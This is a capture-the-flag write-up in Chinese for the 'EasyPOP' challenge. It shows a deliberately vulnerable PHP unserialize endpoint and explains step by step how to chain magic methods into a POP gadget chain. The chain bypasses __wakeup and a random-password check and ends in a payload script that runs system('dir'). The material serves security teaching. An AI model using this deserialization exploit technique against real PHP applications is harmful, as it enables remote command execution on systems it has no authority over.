[DASCTF X GFCTF 2022十月挑战赛]EasyPOP
考点:POP链构造
highlight_file(__FILE__);error_reporting(0);class fine{ private $cmd; private $content; public function __construct($cmd, $content) { $this->cmd = $cmd; $this->content = $content; } public function __invoke() { call_user_func($this->cmd, $this->content); } public function __wakeup() { $this->cmd = ""; die("Go listen to Jay Chou's secret-code! Really nice"); }}class show{ public $ctf; public $time = "Two and a half years"; public function __construct($ctf) { $this->ctf = $ctf; } public function __toString() { return $this->ctf->show(); } public function show(): string { return $this->ctf . ": Duration of practice: " . $this->time; }}class sorry{ private $name; private $password; public $hint = "hint is depend on you"; public $key; public function __construct($name, $password) { $this->name = $name; $this->password = $password; } public function __sleep() { $this->hint = new secret_code(); } public function __get($name) { $name = $this->key; $name(); } public function __destruct() { if ($this->password == $this->name) { echo $this->hint; } else if ($this->name = "jay") { secret_code::secret(); } else { echo "This is our code"; } } public function getPassword() { return $this->password; } public function setPassword($password): void { $this->password = $password; }}class secret_code{ protected $code; public static function secret() { include_once "hint.php"; hint(); } public function __call($name, $arguments) { $num = $name; $this->$num(); } private function show() { return $this->code->secret; }}if (isset($_GET['pop'])) { $a = unserialize($_GET['pop']); $a->setPassword(md5(mt_rand()));} else { $a = new show("Ctfer"); echo $a->show();}
pop传参进行反序列化操作
构造POP链:
入口是sorry
类中的__destruct
方法,如果sorry
类中的name
和password
属性相等就会调用echo $this->hint
操作,如果将hint
赋值为show类即可调用它的__toString
方法
但是源码中调用了
$a->setPassword(md5(mt_rand()));
这个操作,给password
设置了一个随机md5加密值,使用取地址&
方法绕过(类似于C语言中的取地址)
class sorry{ private $name; private $password; public function __construct() { $this->name = &$this->password; $this->password = 1; }}
此时的链子已经到了show
类中的__toString
方法,
public function __toString(){ return $this->ctf->show();}
将ctf属性赋值为secret_code
类即可调用secret_code
类的show
方法
$secret_code = new secret_code($s2);$show = new show();$show->ctf = $secret_code;
show()方法
private function show(){ return $this->code->secret;}
将code
赋值为sorry
类即可调用sorry
类中的__get
方法
__get方法
public function __get($name){ $name = $this->key; $name();}
将key
属性赋值为fine
类即可调用fine
类中的__invoke
方法
public function __invoke(){ call_user_func($this->cmd, $this->content);}
链子到这结束。
完整的POP链
sorry::__destruct->show::__toString->secret_code::show->sorry::__get->fine::__invoke
在调用最后一步时,还需要绕过_wakeup
class fine{ private $cmd; private $content; public function __construct($cmd, $content) { $this->cmd = $cmd; $this->content = $content; } public function __invoke() { call_user_func($this->cmd, $this->content); } public function __wakeup() { $this->cmd = ""; die("Go listen to Jay Chou's secret-code! Really nice"); }}
完整的Payload
class fine{ private $cmd; private $content; public function __construct($cmd, $content) { $this->cmd = $cmd; $this->content = $content; }}class secret_code{ protected $code; public function __construct($code) { $this->code = $code; }}class show{ public $ctf;}class sorry{ private $name; private $password; public function __construct() { $this->name = &$this->password; $this->password = 1; }}$s2 = new sorry();$s2->key = new fine('system','dir');$secret_code = new secret_code($s2);$show = new show();$show->ctf = $secret_code;$sorry = new sorry();$sorry->hint = $show;$strs = str_replace("fine\":2","fine\":3", serialize($sorry));echo urlencode($strs);
来源地址:https://blog.csdn.net/Yu3511606536/article/details/127591067